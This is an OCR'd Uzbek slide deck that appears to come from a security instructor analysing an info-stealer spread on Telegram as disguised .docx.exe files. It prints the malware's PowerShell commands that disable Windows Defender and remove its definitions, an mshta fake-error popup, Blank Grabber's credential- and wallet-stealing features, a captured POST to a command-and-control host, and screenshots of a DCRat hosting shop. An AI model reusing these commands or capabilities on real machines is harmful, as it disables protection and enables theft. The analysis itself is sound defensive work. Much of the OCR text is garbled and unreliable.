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WHO AM 17

15+ years of experience, Cyber Security instructor
Red Team leader, CEO CYBER-BRO LLC

OSCP, CWH, BSCP, BTL1, CRTP, CRTO, CISA ICS
OPSEC, CEH

eee Malik Kurbanov
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¥




AGENDA

O’zbekiston internet foydalanuvchilari orasidagi
eng keng targalgan zararli dasturlar tahlili.

Stage #1 - malware analysis
Stage #2 - malware analysis
Stage #3 - Attack ?
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= Forwarded from Delete

‘ LWapTHoma (ACK) 1 03.01.2024 paH.pdf.exe

bowkapma xoumnapu.docx.exe

Assalomu aleykum. Juda muhim/ Assalomu aleykum. Juda muhi
kompyuterda koring.

.~ Forwarded from Kamon NANNH
N \lf bollKapma Xoum . am: Sherali leakow +9¢

A\ KYLUTENA TTE YN XAPWUTA 2024.doc.ex _ _ o |
‘ = 238646-b35b5ebc2beab?35f700312613ae85da.pdf.ex

Assalomu alaykum. Zarur k¢

- Juda muhim/kompyuterda korin -
J Py 5 kDf’Iﬂg, Juda muhim/kompyuterda koring

from: Xavpynno MaMapwW3aes

* UNTUMOCHOMA doc.exe 4

MN2162.docx.exe

Juda muhim/kompyuterda koring . Ja

Juda muhim/kompyuterda koring . | ,.f

*UZ segmentida telegram ijtimoiy tarmog’i orgali ommaviy targalgan ushbu virusning dastlabki izlari 2023-yil 14-dekabrdan
boshlanganini kuzatiladi




Forwards

Original
Forward

Deleted

Post has not been deleted
Post deleted

By source type

Group (group)

Channel

By source geo

Lzbekistan

By content language

Lzbek
Russian
English

430
227

548
108

657

b74
47
36

g - A b
s . e, . i T 15 A SR L
X v R e e R s i g WS

Ushbu zararli fayllarni targatish uchun telegram messenijeri orgali aniglangan
xabarlar soni (kanal,chat kesimida)

Kanal : 292
Chat ; 365

Admin va moderatorlar tomonidan o'chirilgan xabarlar soni : 109 ta

Hozirda mavjud : 548 ta

Aynan O’zbekiston hududida ochilgan kanal va chatlar kesimida umumiy
zararlangan chat va kanallar

soni 657 ta!

*Telegram Data analytics

YR 210



Dalolatnoma Murojaat.PDF.rar

bolukapma xonmnapu.docx.exe

LLlapTHOMa (ACK)_ 1 03.01.2024 aaH.pdf.exe

Dalolatnoma Murojaat.PDF.exe
document_2024-02-25_13-57-57_7339461207436296208.zip
document_2024-02-25_13-53-02_7339459940420943888.zip
document_2024-02-25_13-42-55_7339457333375795204 zip
document_2024-02-25_13-24-37_7339452617501704196.zip
document_2024-02-25_13-22-16_7339452011911315460.zip
13-03-01-06-03-1148.pdf.exe

OroxnaHtupuwl xatnlokymeHT 831-3.docx.exe

3 [1poToKO/ O MOKyrke TeXHVKU.doc (2).exe
DS419018270400420002.pfx.exe

[lokymeHT 83-4.pdf.exe

OroxnaHTmpuLl xatun.docx.exe

OroxnaHtupuw xatn24.03.2024.docx.exe

Document 448 pdf.exe

AH_TECTJIAPdocx.exe

bolukapma xonmnapul.docx.exe

3KCnepT xynocacn.docx.exe

boLukpma xomnapu.docx.exe

bolukpMa xoMmnapun.exe
factura_65a51572e80bf2c29d6a313e.pdf .exe

bowkapma xonmnapu.docx (1).exe
0C31433BA43140C8ACB6FF7CB80C748D.pdf.exe
ABTOpU3auud.pdf
BYXTAJTTEPUA_XNCOBUN_BA_XNCOBOTU_AEMAPTAMEHTIW _caBon_x
aBobnap_docx.exe

tmpty7tt3bgvtdl_pb23Itt9

IQTISODIYOT NAZARIYASIOpanvik casonnapm 23.doc.exe
Virus.exe

contractDoc_63d119fa49df3347d30ceaba.pdf.exe
BoLiukapma xonmnapu.docx._exe._
TOMWUMPUK_AHAMKOH_Laxap_Kyn_kasatauv_ynnap.xisx

yn xaputacy - [leHos T.doc.exe
Hodimlar-05.012024_12 12 57 xIsx.exe

B605.pdf.exe

NTnct Microsoft Excel (2) (3).xlsx.exe

price.docx.exe

MT-tayyor.docx.exe

Document_11324523_j.pdf.exe

CemuHapra katHawwysymnap 304 Ta.xlsx.exe
OroxnaHTnpuw_xaTtn2.02.2024.docx.exe
01.09_5_17_60_0o1_31_01_2024r_ANK_BP_Ba_xucobot_pdf.exe
MSG.exe

01.09.5 17 60_01_31_01_2024r_ANK _BP_Ba_xuncob6ot_pdf.exe
CemuHapra katHawwysuymnap 304 Taxlsx.exe

3 [pOTOKO/ O NMOKyrke TexHnkn.doc.exe

magistrlik xisobot.pptx.exe

PR2XT5KW.exe

2024 vinn AHBap ABaHC.xml.exe
KYKOH_CUTU_Xayc_5_K_Nn_TX_6_cur_4opaok_pek_a_docx.exe
bowikapma xonmnapul.docx (1).exe

PDF-gokymeHT.pdf.exe



Virus ishga tushgach dastlabki harakatlari o’zini AV aniglashda “Istisno” gilishi uchun maxsus “Exclusion” ro’yxatiga qo’shishdan
iborat bo’lgan:

CUsers\Admin\AppData\Local\Temp\bowkapma xommnapul.docx.exe

C:\Users\Admin\AppData\Local\Temp\BowxKapma xowMmnapul.docx.exe’

B C\Users\Admin\AppData\Local\Temp\bowkapma xonmnapul.docy.exe

'C:\Users\Admin\AppData\lLocal\Temp\Bowkapma xowmnapul.docx.exe’

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Use
rs\Admin\AppDataZLocal\Temp\bowkapma xouwmnapul.docx.exe "

C:AWindows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\E
owKapmMma xoumnapul .docx.exe’

Stage #1 YR 2R0Q



C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSyst
em Strue -DisableIOAVProtection Strue -DisableRealtimeMonitoring Strue -DisableScriptScanni
ng Strue -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -
MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -Subm
itSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -Al
1"

C:AWindows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem Strue -DisableIOAVProtecti
on Strue -DisableRealtimeMonitoring Strue -DisableScriptScanning Strue -EnableControlledF
olderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -S
ubmitSamplesConsent NeverSend

C:AProgram Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All




Keyingi gadamda virus tizimda “feyk” xabar chigarishni ko’rsatadi, bunga sabab yuklab olib ishga tushirilgan fayl, ishlamaganligi va shu
bilan foydalanuvchini boshga urinmaslikka ishontirishga harakat gilish bo’lgan :

C:\Windows\system32\cmd.exe

AWindows\system32\cmd.exe /¢ "mshta "javascript:var sh=new ActiveXObject( WScript.Shel
sh.Popup( The application was unable to start correctly (BxcBBBes/b). ,_1hk OK to clos
the application. , @, "Application error , B8+16);close(

C:\Windows\system32\mshta.exe

o

mshta javascript:var sh=new ActiveXObject( WScript.Shell'); sh.Popup( The application
as unable to start correctly (BxcBBBB8/b). Click OK to close the application.’ , © Appli
cation error , B+16);close()

Apphcation error

\ ﬁﬂ*‘\ ;;_._-:i:- X2, :j— J $ ; _11:%

m\ﬁm




“Endi bemalol fonda asosiy ishlarni bajarishga o’tsak bo’ladi” ;)
Operator tizimni identifikatsiyalash uchun “UUID” unikal ragamidan foydalangan:

C:\Windows\system32\cmd.exe

C:i\Windows\system32\cmd.exe fc "wmlic csproduct get uuid

C\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

: \Users\Max>wmic csproduct get uuid
UID
BD8C/DE1-8983-404A-8F24-72E8F45F354C

S m
e § ~ =
i -"::’2::3 i : ~ % e'. "T:__‘



Keyingi gadamda ishga tushgan zararli dastur, darhol tizimning “reestr” sozlamalariga turli o’zgarishlar kiritadi :

;-—IH"E.!"I creato [ﬁ' HEKLM\SOFTWAREWMicrosofttWbemCIMOM

whl_-l KLMVSOF TWAREWIicrosoft\WEBEM

"HKLM\Software L
p HKLM\SOFTWAREWMicrosoft




Virus tizimga oid bir gancha fayllarni o’qishni boshlaydi va ma’lumot to’playdi.

‘FC:".Windn'.vs".assembl*_,-".NativeIm ages v4.0.30319_64'mscorlib\fe2524177eb3038cT Thet667T 2203915 2Ymscorlib.ni.dll

N ammm

LC'W", indows\assembhy\MNativelmages_v4.0.30319_64 S;'ﬂtemﬂeﬂddgcﬁabﬂm59461bf51DEC?.fach'uSystem.ni.dll
e

C \Window 'S“E‘Sr C N‘flndm 'SuassemblyaNatwelmagea V&we=a0319_64\System. Confi guratmn%dbemeecaEDbE?ddbd_*l- beEE-ﬂfﬂEccEa \System. Configuration.ni.dll.aux

/ - ‘-t — — —_— - —
\ \ ’ 7”'”@3"*55355 emblyiNg C:\Windows\assembly\Nativelmages_v4.0.30319_64\System\e43dd9c73ab5615e461b75109c3facd6\System. ni.dil aux

%*.“Jlndm.'sﬂr-.-’l: C-\Windows\Wicrosoft. NETWF rameworkadwd. 0. 303159 cir.dll
P

B

CWWindowst\assembly\Wativelmages_v4.0.30319_64\5ystem Xmlbee3dsdebfc22f727e70e4470ddcbc045\System. Xml.ni.dil. aux

C Windowslassemblyi\Mativelmages_v4.0.30319_64mscorlib\fe252417 7eb3088c7 ThetseT 22039752 \mscorlib. ni.dil. aux

F‘?‘E’Ed"“;f ‘| ::'

Readk; .
// \\ e() ':Z"n"-'"-"iﬂdﬂ'—‘-"E"nr'ﬂiEFDSﬂﬂ.NET".FrEmE'—‘."DFHﬁﬂi".'-."-'-l.':|.3|331Q'\CGHﬂQ".I‘I’IEEhinE. config

C:\Windows\assembly\Mativelmages_v4. D 30319_64\3ystem. Windows. F-::rm':%b'lBaﬁ'gdeaEEiUETzebeEﬁEl-idElh?SfﬁEE%System Windows.Forms.ni.dll.aux

—

= 4 CWindows\Microsoft. METWFrameworkgdw4.0. 303 19WVMINet_Utils_dll
CAWindow 'SaassembljaNatwelmage: v D 30319_64\5ystem. Management b221af81285¢13053% ACoCoomaystem Management.m. gl au= T

AT A

CWW mdm,-g-.aggemhhnmgtp,rmmageg v, |:| 30319 64\ S_.'rst[-',-m |:|. C\Windows\assembly\Mativelmages_v4.0.30319_64\3ystem. Windows. Formsib138779deas60272ebe6694d907 3fG56\System. Windows. Forms.ni.dll

—

| - -

CWindows) assembl*, .Natwelmagea v4.0.30319_84\System.Managemenfib221af612585c1305324612e6dcOcB8MSystem Management.nidil i Draw ving.ni.dll

—

—




Virus tizimda “\Temp\” direktoriyasiga o’zining qo’shimcha modullarini yuklab olgan va ulardan tizimdagi turli maxfiy ma’lumotlarni o’g’irlashda
foydalangan, vazifasini bajarib bo’lgach, barcha fayllar avtomatik o’chirib tashlangan :

Operation iesult

|EUser'AppDataLocal . Temp SUCCESS lesired Access: Read Attributes, Disposition: Open, Option:
|EUser\AppDatatLocal\Temp*_MEIT0962 NAME MOT FOLIND Jesired Access: Read Attributes, Disposition: Open, Option:
|EUser\AppDatatLocal\Temp*_MEIT0962 SUCCESS Jesired Access: Read Datas/List Directory, Synchronize, Dis
|EUser\AppDatatLocal\Temp*_MENIF62NVCRUNTIMET40.dI NAME NOT FOLIND - Read Attributes, Synchronize, Disposition: |
|EUser\AppData“Local\Temp*_MEN0I362VCRUNTIMET40 dll SUCCESS Jesired Access: Generic Write, Read Aftibutes, Disposition
|EUser.Desktop™g_samples‘\bowkapma xoumnapu docx exe SUCCESS Jesired Access: Generic Read, Disposition: Open, Options:
|[EUser\AppData*local . Temp*_MEI0962" bz2 pyd NMAME MOT FOUMND  Desired Access: Read Attibutes, Synchronize, Disposition: |
|EUser’AppData’LocalTemp*_MEI0962" bz2 pyd SUCCESS Desired Access: Generic Write, Bead Attibutes, Disposition
|EUser.Desktoptg_samples‘\bowkapma xoumnapin docx exe SUCCESS Desired Access: Generic Read, Disposition: Open, Options:
|EUser\AppDatatlocal\Temp*_MEI0962%_ctypes pyd NAME NOT FOLIND - Read Attributes, Synchronize, Disposition: |
|EUser\AppData*local Temp*_MEI105962%_ctypes pyd SUCCESS lesired Access: Generic Write, Fead Aftibutes, Disposition
|EUser.Desktop™g_samples‘\bowkapma xoumnapu docx exe SUCCESS - Generic Read, Disposition: Open, Options:
WEUserAppDatatLocal\ Temp*_MEIT0962"_decimal pyd NAME MOT FOLIND lesired Access: Read Attributes, Synchronize, Disposition: |
WEUserAppDatatLocal\ Temp*_MEIT0962"_decimal pyd SUCCESS lesired Access: Generic Write, Read Atibutes, Disposition
wEUser\Desktop*tg_samples‘bowkapma xovmnapy docx exe SUCCESS Jesired Access: Generic Read, Disposition: Open, Options:
WEUserAppDatatLocal\ Temp*_MEIT0962%_hashlib pyd NMAME NOT FOLIND Jesired Access: Read Attributes, Synchronize, Disposition: |
“EUser'AppDatatLocal’Temp*_MEIT0562%_hashlib pyd SUCCESS - Generc Write, Read Attributes, Disposition
“Elser\Desktop*tg_samples‘bowkapma xommnapw docx exe SUCCESS lesired Access: Generic Read, Disposition: Open, Options:
wEUser\AppDatatLocal Temp*_MEIT0962%_|zma pyd MAME NOT FOUND Jesired Access: Read Attrbutes, Synchronize, Disposition: |
WEUserAppDatatLocal\ Temp*_MEIT0962% lzma pyd SUCCESS - Generic Write, Read Attributes, Disposition
WEUser\Desktop*tg_samples‘\bowkapma xovmnapy docx exe SUCCESS Jesired Access: Generic Read, Disposition: Open, Options:
wWEUserAppDatatLocal\ Temp*_MEITD962"_queue pyd NAME MOT FOLIND - Read Attributes, Synchronize, Disposition: |
wEUser'AppDatatLocal\ Temp*_MEITI962"_queues pyd SUCCESS lesired Access: Generic Write, Bead Aftibutes, Disposition
|EUserDesktop*ta samples‘\bowkapma xoumnapw docx exe SLICCESS lesired Access: Generc Read. Disposition: Open. Options:

‘B- Bowwkapma xouMnapw . docx exe [™ CreateFile
‘B Bowkapma xoumnapi docx exe D CreateFile
Bowkapma xoumnapu docx.exe [ CreateFile
Bowkapma xowmnapi.docx .exe EH CreateFile
Bowkapma xovmnapi.docx exe Eh CreateFile
Bowkapma xoumnapn . docx exe EH CreateFile
Bowkapma xoumnapn . docx exe [ CreateFile
Bowkapma xoumnapn . docx exe [™ CreateFile
Bowkapma xoumnapu . docx exe [™ CreateFile
Bowkapma xoumnapy . docx exe [ CreateFile
Bowkapma xoumnapy . docx exe [ CreateFile
Bowkapma xoumMmnapy docx .exe E’" CreateFile
Bowkapma xoumnapn docx exe EH CreateFile
Bowkapma xoumnapn . docx exe [™ CreateFile
Bowkapma xoumnapw . docx exe [™ CreateFile
Bowkapma xoumnapw docx exe [ CreateFile
Bowkapma xoumnapy . docx exe [™ CreateFile
Bowkapma xoumnapy . docx exe [ CreateFile
Bowkapma xoumnapn . docx exe EH CreateFile
Bowkapma xoumnapn . docx exe [ CreateFile
Bowkapma xoumnapn . docx exe [™ CreateFile
Bowkapma xoumnapu . docx exe [™ CreateFile
Bowkapma xoumnapy . docx exe [ CreateFile
Bowkapma xoumnapy docx exe [™ CreateFile
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Bu yerda shu fayllarni ko’rishingiz mumkin :

- Bo _bz2.pyd
e /_ '“ - b _Et_'p"pEE.pj,fd

[e _decimal.pyd
fe _hashlib.pyd
fe _lzma.pyd

[e _queue.pyd

fe _socket.pyd
fe _sqlite3.pyd

fe _ssl.pyd
base_library.zip
. blank.aes

B libcrypto-1_1.dll
B libfi-7.di

B libssi-1 1.l
B python310.dil
KH rar.exe

E . rarreg.key

[ sclect.pyd

B -qlite3.d
fe unicodedata.pyd

i . VCRUNTIMET40.dlI

3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1220 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM
3/3/2024 1.2:20 AM

Python EBExtension Medule
Python BExtension Module
Python BExtension Module
Python Extension Module
Python Extension Medule
Python Extension Medule
Python EBExtension Medule
Python BExtension Module
Python BExtension Module
TzFM.exe file

AES File

Application extension
Application extension
Application extension
Application extension
Application

KEY File

Python Extension Medule
Application extension

- EWRERBRO

Appllcatmn extension

42 KB
59 KB
107 KB
360 KB
36 KB
26 KB
43 KB

51 KB
63 KB
260 KB
T4 KB
1,087 KB
24 KB
205 KB
1,420 KB
616 KB

1 KB

26 KB
623 KB

96 KB




B _bz2.pyd

e _ctypes.pyd

B _decimal.pyd
B _hashlib.pyd
& _lzma.pyd

& _queue.pyd

B _socket.pyd

B _sqlite3.pyd

B _ssl.pyd

[7H base_library.zip
. blank.aes

B libcrypto-1_1.dll
B ribffi-7.d1l

B libssl-1_1.dIl
B python310.dil
K8 rar.exe

B rarreg.key

B select.pyd
B sqlite3.dl

B unicodedata.pyd
B VCRUNTIME140.dIl

_bz2 pyd

bzip2 algoritmi yordamida ma‘’lumotni
sigish va ochish uchun ishlatiladi

C va C++ da yozilgan kutubxonalarni

/ aloqgasini ta'minlaydi

_ctypes.pyd <

_decimal.pyd va _hashlib.pyd

Uzun sonlar va ko'p unlovchi sonlar (floating-point
numbers) bilan ishlash va kriptografik funktsiyalarni

_lzma.pyd

_socket.pyd

_sqlite3.pyd

_ssl.pyd

&l (MD5, SHA-1, SHA-256) Python dasturlash tillarida
amalga oshirish uchun ishlatiladi
LZMA algoritmi yordamida ma‘lumotlar saglash
va tiklash uchun xizmat giladi.
"socket” moduli, kompyuterlar orasidagi
< I tarmoq bog'lanishlarini boshgarish uchun
ishlatiladi.
“sqlite3" moduli, Python-dan SQLite ma‘lumotlar
omborini boshgarish uchun ishlatiladi
< "ssl" moduli, amalda yopiq kalitni layer (SSL) va
Transport Layer Security (TLS) protokollari

yordamida tarmogq trafikini shifrlash va xavfsizlikni

il n ishiatiladi
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() Fake Error
() Block AV Sites

Blank Grabber
| System Info
¥ Screenshot

& Discord Tokens
¥ Minecraft Sessions

& Webcam
& Passwords

ing Me
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(] Discord Injection

« Telegram

¥ Roblox Cookies

& Cookies

(] Put On Startup

& Wifi Passwords « Wallets

& History

[] Melt Stub
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“Blank grabber” ning imkoniyatlari:

- GUI Builder.

- UAC Bypass.

- Custom Icon.

- Runs On Startup.

- Disables Windows Defender
- Anti-VM.

- Blocks AV-Related Sites.
- Melt Stub.

- Fake Error.

- EXE Binder.

- File Pumper-.

- Obfuscated Code.

- Discord Injection.

- Steals Discord Tokens.

- Steals Epic Session.

» Steals Uplay Session.

- Steals Passwords From Many Browsers.
- Steals Cookies From Many Browsers.
- Steals History From Many Browsers.
- Steals Autofills From Many Browsers.
- Steals Minecraft Session Files.

- Steals Telegram Session Files.

- Steals Crypto Wallets.

- Steals Roblox Cookies.

- Steals Growtopia Session.

- Steals IP Information.

- Steals System Info.

- Steals Saved Wifi Passwords.

-

e &

- Steals Common Files.

- Captures Screenshot.

- Captures Webcam Image.

- Sends All Data Through Discord
Webhooks/Telegram Bot.
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agi zararli dasturning namunalari o’rganil

= . B3 Forbidden
. 736348 63788 -+ 88 [ACK] Seq=676 Ack=1316 Win=62925 Len=08
. /63485 63708 + B@ [RST, ACK] Seq=676 Ack=1316 Win=8 Len=0
.SBd424 TCP 63701 + B@ [SYN] Seq=0 Win=64248 Len=0 MS5=1468 WS=256 SACK_PERM
. 781331 TCP 80 » 63781 [SYN, ACK] Seq=0 Ack=1 Win=64248 Len=8 MS5=1460
. 781384 TCP 63781 » B8 [ACK] Seq=1 Ack=1 Win=64248 Len=0
. 781932 TCP 63781 =+ 8@ [PSH, ACK] Seq=1 Ack=1 Win=64248 Len=283 [TCP segment of a reassembled PDU]
TCP 80 + 63781 [ACK] Seq=1 Ack=284 Win=64248 Len=8
HTTP POST /protecttrackDatalifePrivateCentral.php HTTP/1.1 (application/x-www-Torm-urlencoded)
TCP 88 = 63781 [ACK] Seq=1 Ack=628 Win=64248 Len=8
HTTP HTTP/1.1 188 Continue
TCP 63781 = 8@ [ACK] 5eq=628 Ack=26 Win=64215 Len=8
TCP 88 =+ 63781 [PSH, ACK] Seq=26 Ack=628 Win=64248 Len=1283 [TCP segment of a reassembled PDU]
HTTP/X.. HTTP/1.1 483 Forbidden
TCP 63781 » 80 [ACK] Seq=628 Ack=1316 Win=62925 Len=8
TCP 54 63781 » B@ [RST, ACK] Seq=628 Ack=1316 Win=@ Len=8
TCP 66 63782 =+ BB [SYN] Seq=0 Win=64248 Len=08 M55=1468 W5=256 SACK PERM
TCP 68 88 = 63782 [SYN, ACK] Seq=0 Ack=1l Win=64248 Len=8 M55=1468
TCP 54 B3782 + B@ [ACK] Seq=1 Ack=1l Win=64248 Len=@
TCP 63782 -+ 88 [P5H, ACK] Seq=1 Ack=1 Win=64248 Len=295 [TCP segment of a reassembled PDU]
TCP 68 BB = 63782 [ACK] Seq=1 Ack=295 Win=64248 Len=8
HTTP POST /protecttrackDatalifePrivateCentral.php HTTP/1.1 (application/x-www-Torm-urlencoded)
TCP 68 BB = 63782 [ACK] Seq=1 Ack=648 Win=64248 Len=8
HTTP 79 HTTP/1.1 188 Continue
TCP 54 63782 » 80 [ACK] Seq=648 Ack=26 Win=64215 Len=06
TCP 311 88 + 63702 [PSH, ACK] Seq=26 Ack=648 Win=64248 Len=257 [TCP segment of a reassembled PDU]

HTTP/X.. 1887 HTTP/1.1 483 Forbidden
e B T b S=r T=I =TT = r F l_-.l.-_l.ﬂ-_ 11T 4

TCP

rF 4

At =et nt: Mozi 1la/5.8
fot set (Windows NT 18.@

n--. ef="mailto:%5bnok2Baddress%28givenisd™:

Not set ; win64% xB4) Ap
AP pleWebkKi t/537.36

; (KHTML, like Ge
padae cka) Chr ome/96.8
nied window size: 54248] 4664.93 Safari/

yze scaling factor: -2 (noc window scaling used)] 537.36 Host: 11
pocfed [unverified] .n 9shteam2

IEEI;:EIES:D tl.l.ls: Unverified] 4&3{;"12 ::_ . . ‘ . : ntent-Le

[Timestamp TS

[SEQ/ACK ana
TCP payload (32

TCP segment data |__1x lIlll L h lIlll h lIlll
[2 Reassembled TCP Segments (675 bytes): #6534(331), #6536(344)] [ ::- 1 1 E E 2 1 c m - rl 9 S t E a mz - t I:I FI { a } { rl ::-
Hypertext Transfer Protocol
* POST /protecttrackDatalifePrivateCentral.php HTTP/L1.1\r\n P a c |'-| E '-'::._ ll'll S Fl a rl ::'

[Expert Info (Chat/Sequence): POST /protecttrackDatalifePriva

Request Method: POST ::_
Request URI: /protecttrackDatalifePrivateCentral.php
Request Version: HTTP/1.1

Content-Type: application/x-www-form-urlencodedirin

User-Agent: Mozilla/5.8 (Windows NT 18.8; Wine4; x64) Applelebi(if] WLIP|

Host: 118621cm.n9shteam2.topirin ko~

Content-Length: 344\r\n ' v

Expect: 188-continuelrin

Connection: Keep-Alivel\r\n

Wrin AL | B

[Full request URI: http://118621cm.n9shteam2.top/protecttrackDatalifePrivateCentral.php] Eﬁivism

[HTTP request 1/1] W il

[Response in frame: 6543] Iw-wrs-w

File Data: 344 bytes i

W

L Ed TS
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¥ result:

MR
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AN
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id: 7121631902

is bot: true

A
AN
i

first _name: "New Connect!™

K
s
e

username: "NewDcrat_bot"

\
\

N
A

can_join_groups: true

M\

can_read_all_group_messages: false e = =—=—=criz




NyashTeamBot :
Heed  bot .
@NyashHeIpBot
He Hawnu ceBou Bonpoc? -
@NyashSupport2 12:59

(p KynuTb 1259 o

I/ BbibepuTe Hy)KHbI/i BaM TOBap: |- ¢

R e

& = HoBbiit DCRAT ¥ -»
¥ Tonbko xocTuHr 9
@ Crapblit DCRAT 4
) SUDORAT

CcbINKK 12:59 &

MNMpaBuna npoekTa - https://nyashteam.ru

/rules
OT3bIBbI - https://lolz.live/threads

/3896059/ M.

Pl ~ NyashTeamBot
s 60T

¥ Bawwm Tosapbi:

1.MepeignTe no ccoinke Bblwe
2.3ajanTe UMa 1 Naposb

3.3arigute B DCRAT (ckayaTb TyT
https://crystalfiles.ru/)

4 .BBeauTe cchinky (Ty 4TO Bblle B
pamke) W NpPUAYMaHHLIA Naponb

5.ecan Bbl 3abbiNM naposib AN YTO-TO
He paboTaeT nuuuTe B canmopT ->
@NyashSupport

9 Bbi ycnewHo kynunu toeap(bi) ¥4

Yek: #A656072801

Has3BaHue ToBapa: XoctuHr DCRat
HaBcergja
p KynneHo ToBapos: 1
=53 CyMMa nokynku: 2999py6
2 MokynaTenb: 3anue [45p] noH
(1361816235)
) daTta nokynku: 2022-07-13 03:39:57

11ToBOpAT, YTO y TEX KTO OCTAaBUT OT3bIB Ha
lolz paétca +100 k yaaue. Il

i) Kynutb B Mpodunb

11 Ccbinku

W Moapepxka

.

|
¢! Bl ycnewHo kynunu tosap(sl) ¥ === )
e e
- HEIEEEIHHE TDEEI[]EI. XocTuHr DCRat Ha mecAu = )
§ Kynneno TGEEI[]GE 1 S
B Cymma nokynku: 299py6 2
Mokynarens: skittles (975468749 S

(W]

LA
(%]
LA
(]

i

@ 21ata nokynku: 2022 -66-26




“Escrow’” sifatida lolz*live forumidan foydalanilgan,

e

& = C % lolzlive/threads/3896059/ w

»‘:’ MapkeT CrtaTet ® TlapaHT Cou.ceTm ~ [lpyroe & Q nowck... f_,. g w2

«s+ HacTporkw Temsl W MognucaTecA Ha Temy TMowck ~  COpPTMPOBaTE . 2 3 4

nyashteam |[AstopTemsl ypak derat - https:/lolzlive/threads/3896059/ 237 12 man 2022 o

{YR=SH TERM

W XOCTHHT DCRAT + B MOBAPOK HA BHEOP
N\ - KPAK OT 2022 rOfA
N - HOBHIM KPSIK (17.09.2023)
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BrIEECTW CpeacTEa

MononHuUTb 6anaHc

MNepeeecTu cpeacTeEa

MoK aKkayHTh CymMmma nononHeHWA

Mow nokynku 300 oT 124 P Pybne — P

Mow onepaurm

CymmMma K onnaTte
Mow cTaekn

~3015P
MNepegaHHLIE aKkayHTbI

M3bpaHHoe i ,\
Cnocob onnar.l

YnpasneHWe MeTKaMK
-
£= KpwntoeanoTa 0.5-3 %

WrHop-nMcT Npojaeuoe

S \ \ A Mow aeHeXHkIe Cnopkl Bitcoin 0.5% . Ethereum 0.5% . Litecoin 0.5% ¥ TRONO.5% . DOGE 0.5%

N A S
| NS BTONASTERM DASH 0.5% . Bitcoin Cash 0.5% . Tether USDT ERC20 0.5%

Tether USDT TRC20 0.5% . Binance Coin (BSC) 0.5% . MATIC (Polygon) 0.5%
Hy#xHa nomoLlib

Switch to English TON 0.5% O XMR 0.5% = Solana 0.5% u Shiba Inu 0.5% . Avalanche 0.5%
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Plugins for the new DCRAT from NyashTeam

TelegramNotifier

Author's plugin, will send a notification about a new user to the TG channel or

PM.

CryptoStealer

Will add popular crypto wallets to the log.

Domainshighliter

Displays the presence of certain domains in cookies and passwords.

FileGrabberPlugin

Adds the files you select from the user's PC to the log.

Forceadmin

! SOMETIMES CRASHES THE BUILD ! Forces the build to run with
administrator rights.

MessageOnStart

Will show a notification when the user launches the build.

Processkiller

Will kill the user's processes that you select.

Yci10BUS HCIIOIB30BAHHUA

1.0. CepBHc He cOOHpaeT BAIIH NepcoHA/ILHBIE TaHHbIe. (CoxpaHaeTcd TolbKo telegram id,

HﬂTﬂprﬁ HE ABJI9eTCH NMEPCOHAIBHBIMH ,.E[HHHI:IM]-I:]

1.1. He3naHHe NPABHJI He 0CBOOOKR/IAET 0T OTBETCTBEHHOCTH 32 HX Hapymienue. Henmonib3ya cepBHC,
Bbl ABTOMATHYECKH COIVIAINAETECH ¢ VCIOBHAMH HCIIOJIB30BAHH.

1.2. ¥CJIVIH NpelocTaBIglTCd «KAK €CThy», MbI OCTABJISAEM 34 COD0H NMPABO NMEPECMOTPETE VCI0BHA
HCNOJIB30BAHHA, IEHOBYH0 NOJIHTHKY, XAPAKTEPHCTHKH CepPBEPOB, JOKAIHID H ACCOPTHMEHT
TOBApPOB B J11000# MOMeHT, 0e3 NpelBapHTeIbHOI0 YBEI0M/IeHHH KJIHEHTA, HOBbIE NIPaBHJIA
BCTYNAKT B IeHCTBHE HEMeLJIEHHO IMOC/Ie MyOIHKAIIHH.

1.3. MBI He rapaHnTHpYeM adCOJIIOTHYIO JOCTYITHOCTL CEPBEPOB H 10MEHOB.

1.4. PaboTocnocodHocTe OecIiaTHO npefocTapiagemoro [1O nocie Henmoib3oBaHHA cnydepos, a
TAK-#e NPH HATHYHH aHTHBHpYcHoro IO, Heno/ib30BaHHA CHCTeM 00J1aYHOTO
XpaHWIHIA(HanpHMep onedrive) Ha nanke ¢ 10, HeNoAL30BAHHA YUETHOH 3aHCH Microsoft naa
BX0/1a B CHCTEMY, HCIIOJIL30BAHHSA BEPCHIl java BeINYIIEHHBIX panee 2022 roja, HenmoJb30BaHHE
windows BepcHil HH#Ke 7, a TaK-#Ke cOopor windows H TEHKOB, YIAJIHKUIHX YaCTh CHCTEMHBIX
MO/JY/IeH, cayAD H 1.1, He rapanTHpyercs. [Toaneps#ka QIpyrux cepsepos H user-id He

rapaHTHpYyeTcH.

1.5. Bece ni1aHoBbIe TEXHHUECKHe padoThl nposoadaTed ¢ 3:00 10 6:00 mo MoCKOBCKOMY BpeMeHH. K
ITOMY NYHKTY He OTHOCHTCH (popc-MaKopHbIe CHTYALUHH H BHEIIAHOBLI¢ paboThl.

1.6. MubI ocTaB/IgeM 3a cODOH NpaBo BpeMeHHOH OCTAHOBKH CEPBHCOB H CEPBEPOB KIHEHTA: 14
